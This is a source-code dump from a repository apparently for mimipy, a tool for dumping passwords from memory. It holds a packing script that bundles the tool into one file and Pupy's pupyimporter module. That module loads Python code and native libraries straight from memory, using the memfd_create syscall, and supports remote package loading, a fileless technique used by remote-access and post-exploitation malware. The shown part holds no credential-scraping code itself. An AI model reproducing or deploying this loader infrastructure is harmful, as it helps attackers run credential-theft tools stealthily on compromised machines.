logging.info("Script executed in %s seconds"%(time.time()-total_time)) ================================================ FILE: packed/pack.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- # Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) # mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms import sys import os import memorpy import textwrap import cPickle def get_load_module_code(code, modulename): loader=""" import imp, sys fullname={} mod = imp.new_module(fullname) mod.__file__ = "\\%s" % fullname exec {} in mod.__dict__ sys.modules[fullname]=mod """.format(repr(modulename),repr(code)) return loader if __name__=="__main__": packed_script=""" # Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) # mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms # this is a self contained mimipy.py with all packages embedded # last version available here https://github.com/n1nj4sec/mimipy """ print "packing pupyimporter" with open("pupyimporter.py", 'rb') as f: code=f.read() packed_script+="\n"+get_load_module_code(code, "pupyimporter")+"\n" print "packing memorpy from %s"%memorpy.__path__[0] search_path=os.path.dirname(memorpy.__path__[0]) modules_dic={} for root, dirs, files in os.walk(memorpy.__path__[0]): to_embedd = set() for f in files: base, ext = os.path.splitext(f) if base+'.pyc' in files and not ext in ('.pyc', '.pyo'): continue elif base+'.pyo' in files and not ext == '.pyo': continue else: to_embedd.add(f) for f in to_embedd: module_code="" with open(os.path.join(root,f),'rb') as fd: module_code=fd.read() modprefix = root[len(search_path.rstrip(os.sep))+1:] modpath = os.path.join(modprefix,f).replace("\\","/") modules_dic[modpath]=module_code packed_script+=textwrap.dedent(""" import pupyimporter pupyimporter.install() pupyimporter.pupy_add_package(%s) """%repr(cPickle.dumps(modules_dic))) with open("../mimipy.py", 'rb') as f: packed_script+="\n"+f.read() with open("mimipy.py", "w") as w: w.write(packed_script) print "mimipy packed !" ================================================ FILE: packed/pupyimporter.py ================================================ # -*- coding: utf-8 -*- # --------------------------------------------------------------- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE # --------------------------------------------------------------- # This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only) # Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory ! # import sys, imp, marshal, gc __debug = False __trace = False def dprint(msg): global __debug if __debug: print msg def memtrace(msg): global __debug global __trace if __debug and __trace: import time import os import cPickle import gc msg = msg or 'unknown' msg = msg.replace('/', '_') gc.collect() snapshot = __trace.take_snapshot() if not os.path.isdir('/tmp/pupy-traces'): os.makedirs('/tmp/pupy-traces') with open('/tmp/pupy-traces/{}-{}'.format(time.time(), msg), 'w+b') as out: cPickle.dump(snapshot, out) try: import _memimporter builtin_memimporter = True allow_system_packages = False except ImportError: builtin_memimporter = False allow_system_packages = True import ctypes import platform if sys.platform!="win32": libc = ctypes.CDLL(None) syscall = libc.syscall from tempfile import mkstemp from os import chmod, unlink, close, write class MemImporter(object): def __init__(self): self.dir = None self.memfd = None self.ready = False if platform.system() == 'Linux': maj, min = platform.release().split('.')[:2] if maj >= 3 and min >= 13: __NR_memfd_create = None machine = platform.machine() if machine == 'x86_64': __NR_memfd_create = 319 elif machine == '__i386__': __NR_memfd_create = 356 if __NR_memfd_create: self.memfd = lambda: syscall(__NR_memfd_create, 'heap', 0x1) self.ready = True return for dir in ['/dev/shm', '/tmp', '/var/tmp', '/run']: try: fd, name = mkstemp(dir=dir) except: continue try: chmod(name, 0777) self.dir = dir self.ready = True break finally: close(fd) unlink(name) def import_module(self, data, initfuncname, fullname, path): return self.load_library(data, fullname, dlopen=False, initfuncname=initfuncname) def load_library(self, data, fullname, dlopen=True, initfuncname=None): fd = -1 closefd = True result = False if self.memfd: fd = self.memfd() if fd != -1: name = '/proc/self/fd/{}'.format(fd) closefd = False if fd == -1: fd, name = mkstemp(dir=self.dir) try: write(fd, data) if dlopen: result = ctypes.CDLL(fullname) else: if initfuncname: result = imp.load_dynamic(initfuncname[4:], name) else: result = imp.load_dynamic(fullname, name) except Exception as e: self.dir = None raise e finally: if closefd: close(fd) unlink(name) return result _memimporter = MemImporter() builtin_memimporter = _memimporter.ready modules = {} remote_load_package = None remote_print_error = None try: import pupy if not (hasattr(pupy, 'pseudo') and pupy.pseudo) and not modules: modules = pupy.get_modules() except ImportError: pass def get_module_files(fullname): """ return the file to load """ global modules path = fullname.replace('.','/') files = [ module for module in modules.iterkeys() \ if module.rsplit(".",1)[0] == path or any([ path+'/__init__'+ext == module for ext in [ '.py', '.pyc', '.pyo' ] ]) ] if len(files) > 1: # If we have more than one file, than throw away dlls files = [ x for x in files if not x.endswith('.dll') ] return files def pupy_add_package(pkdic, compressed=False, name=None): """ update the modules dictionary to allow remote imports of new packages """ import cPickle import zlib global modules if compressed: pkdic = zlib.decompress(pkdic) module = cPickle.loads(pkdic) dprint('Adding files: {}'.format(module.keys())) modules.update(module) if name: try: __import__(name) except: pass gc.collect() memtrace(name) def has_module(name): return name in sys.modules def invalidate_module(name): global modules global __debug for item in modules.keys(): if item == name or item.startswith(name+'.'): dprint('Remove {} from pupyimporter.modules'.format(item)) del modules[item] for item in sys.modules.keys(): if not (item == name or item.startswith(name+'.')): continue mid = id(sys.modules[item]) dprint('Remove {} from sys.modules'.format(item)) del sys.modules[item] if hasattr(pupy, 'namespace'): dprint('Remove {} from rpyc namespace'.format(item)) pupy.namespace.__invalidate__(item) if __debug: for obj in gc.get_objects(): if id(obj) == mid: dprint('Module {} still referenced by {}'.format( item, [ id(x) for x in gc.get_referrers(obj) ] )) gc.collect() def native_import(name): __import__(name) class PupyPackageLoader: def __init__(self, fullname, contents, extension, is_pkg, path): self.fullname = fullname self.contents = contents self.extension = extension self.is_pkg=is_pkg self.path=path self.archive="" #need this attribute def load_module(self, fullname): imp.acquire_lock() try: dprint('loading module {}'.format(fullname)) if fullname in sys.modules: return sys.modules[fullname] mod=None c=None if self.extension=="py": mod = imp.new_module(fullname) mod.__name__ = fullname mod.__file__ = 'pupy://{}'.format(self.path) if self.is_pkg: mod.__path__ = [mod.__file__.rsplit('/',1)[0]] mod.__package__ = fullname else: mod.__package__ = fullname.rsplit('.', 1)[0] code = compile(self.contents, mod.__file__, "exec") sys.modules[fullname] = mod exec (code, mod.__dict__) elif self.extension in ["pyc","pyo"]: mod = imp.new_module(fullname) mod.__name__ = fullname mod.__file__ = 'pupy://{}'.format(self.path) if self.is_pkg: mod.__path__ = [mod.__file__.rsplit('/',1)[0]] mod.__package__ = fullname else: mod.__package__ = fullname.rsplit('.', 1)[0] sys.modules[fullname] = mod exec (marshal.loads(self.contents[8:]), mod.__dict__) elif self.extension in ("dll", "pyd", "so"): initname = "init" + fullname.rsplit(".",1)[-1] path = self.fullname.rsplit('.', 1)[0].replace(".",'/') + "." + self.extension dprint('Loading {} from memory'.format(fullname)) dprint('init={} fullname={} path={}'.format(initname, fullname, path)) mod = _memimporter.import_module(self.contents, initname, fullname, path) if mod: mod.__name__=fullname mod.__file__ = 'pupy://{}'.format(self.path) mod.__package__ = fullname.rsplit('.',1)[0] sys.modules[fullname] = mod try: memtrace(fullname) except Exception, e: dprint('memtrace failed: {}'.format(e)) except Exception as e: if fullname in sys.modules: del sys.modules[fullname] import traceback exc_type, exc_value, exc_traceback = sys.exc_info() sys.stderr.write('Error importing %s : %s'%(fullname, traceback.format_exc())) dprint('PupyPackageLoader: ' 'Error while loading package {} ({}) : {}'.format( fullname, self.path, str(e))) if remote_print_error: try: remote_print_error("Error loading package {} ({} pkg={}) : {}".format( fullname, self.path, self.is_pkg, str(traceback.format_exc()))) except: pass raise e finally: self.contents = None imp.release_lock() gc.collect() return sys.modules[fullname] class PupyPackageFinderImportError(ImportError): pass class PupyPackageFinder(object): def __init__(self, path=None): if path and not path.startswith('pupy://'): raise PupyPackageFinderImportError() def find_module(self, fullname, path=None, second_pass=False): global modules imp.acquire_lock() selected = None try: files=[] if fullname in ( 'pywintypes', 'pythoncom' ): fullname = fullname + '27.dll' files = [ fullname ] else: files = get_module_files(fullname) dprint('find_module({},{}) in {})'.format(fullname, path, files)) if not builtin_memimporter: files = [ f for f in files if not f.lower().endswith(('.pyd','.dll','.so')) ] if not files: dprint('{} not found in {}: not in {} files'.format( fullname, files, len(files))) if remote_load_package and not second_pass and not fullname.startswith('exposed_'): parts = fullname.split('.')[:-1] for i in xrange(len(parts)): part = '.'.join(parts[:i+1]) if part in modules or part in sys.modules: return None try: if remote_load_package(fullname): return self.find_module(fullname, second_pass=True) except Exception as e: dprint('Exception: {}'.format(e)) return None criterias = [ lambda f: any([ f.endswith('/__init__'+ext) for ext in [ '.pyo', '.pyc', '.py' ] ]), lambda f: any ([ f.endswith(ext) for ext in [ '.pyo', '.pyc' ] ]), lambda f: any ([ f.endswith(ext) for ext in [ '.pyd', '.py', '.so', '.dll' ] ]), ] selected = None for criteria in criterias: for pyfile in files: if criteria(pyfile): selected = pyfile break if not selected: return None content = modules[selected] dprint('{} found in "{}" / size = {}'.format(fullname, selected, len(content))) extension = selected.rsplit(".",1)[1].strip().lower() is_pkg = any([ selected.endswith('/__init__'+ext) for ext in [ '.pyo', '.pyc', '.py' ] ]) dprint('--> Loading {} ({}) package={}'.format( fullname, selected, is_pkg)) return PupyPackageLoader(fullname, content, extension, is_pkg, selected) except Exception as e: dprint('--> Loading {} failed: {}'.format(fullname, e)) raise e finally: # Don't delete network.conf module if selected and not selected.startswith('network/conf'): dprint('XXX {} remove {} from bundle / count = {}'.format(fullname, selected, len(modules))) del modules[selected] imp.release_lock() gc.collect() def register_package_request_hook(hook): global remote_load_package remote_load_package = hook def register_package_error_hook(hook): global remote_print_error import rpyc remote_print_error = rpyc.async(hook) def unregister_package_error_hook(): global remote_print_error remote_print_error = None def unregister_package_request_hook(): global remote_load_package remote_load_package = None def install(debug=None, trace=False): global __debug global __trace global modules #if debug: # __debug = True if trace: __trace = trace gc.set_threshold(128) if allow_system_packages: sys.path_hooks.append(PupyPackageFinder) sys.path.append('pupy://') else: sys.meta_path = [] sys.path = [] sys.path_hooks = [] sys.path_hooks = [PupyPackageFinder] sys.path.append('pupy://') sys.path_importer_cache.clear() import platform platform._syscmd_uname = lambda *args, **kwargs: '' platform.architecture = lambda *args, **kwargs: ( '32bit' if pupy.get_arch() == 'x86' else '64bit', '' ) try: if __trace: __trace = __import__('tracemalloc') if __debug and __trace: dprint('tracemalloc enabled') __trace.start(10) except Exception, e: dprint('tracemalloc init failed: {}'.format(e)) __trace = None import ctypes import ctypes.util import os ctypes._system_dlopen = ctypes._dlopen ctypes.util._system_find_library = ctypes.util.find_library def pupy_make_path(name): if not name: return if 'pupy:' in name: name = name[name.find('pupy:')+5:] name = os.path.relpath(name) name = '/'.join([ x for x in name.split(os.path.sep) if x and not x in ( '.', '..' ) ]) return name def pupy_find_library(name): pupyized = pupy_make_path(name) if pupyized in modules: dprint("FIND LIBRARY: {} => {}".format(name, pupyized)) return pupyized else: return ctypes.util._system_find_library(name) def pupy_dlopen(name, *args, **kwargs): dprint("ctypes dlopen: {}".format(name)) from_pupy = False name = pupy_make_path(name) dprint("ctypes dlopen / pupyized: {}".format(name)) if name in modules: if hasattr(_memimporter, 'load_library'): try: return _memimporter.load_library(modules[name], name) except: pass elif hasattr(pupy, 'load_dll'): try: return pupy.load_dll(name, modules[name]) except: pass if not from_pupy: return ctypes._system_dlopen(name, *args, **kwargs) if 'pupy' in sys.modules and hasattr(pupy, 'find_function_address'): ctypes.CDLL_ORIG = ctypes.CDLL class PupyCDLL(ctypes.CDLL_ORIG): def __init__(self, name, **kwargs): super(PupyCDLL, self).__init__(name, **kwargs) self._FuncPtr_orig = self._FuncPtr self._FuncPtr = self._find_function_address self._name = pupy_make_path(self._name) dprint('CDLL({})'.format(self._name)) def _find_function_address(self, search_tuple): name, handle = search_tuple dprint("PupyCDLL._find_function_address: {}".format(name)) if not type(name) in (str, unicode): return self._FuncPtr_orig(search_tuple) else: addr = pupy.find_function_address(self._name, name) dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr)) if addr: return self._FuncPtr_orig(addr) else: return self._FuncPtr_orig(search_tuple) ctypes.CDLL = PupyCDLL ctypes._dlopen = pupy_dlopen ctypes.util.find_library = pupy_find_library #if 'win' in sys.platform: # import pywintypes if __debug: print 'Bundled modules:' for module in modules.iterkeys(): print '+ {}'.format(module) ================================================ FILE: requirements.txt ================================================ https://github.com/n1nj4sec/memorpy/archive/master.zip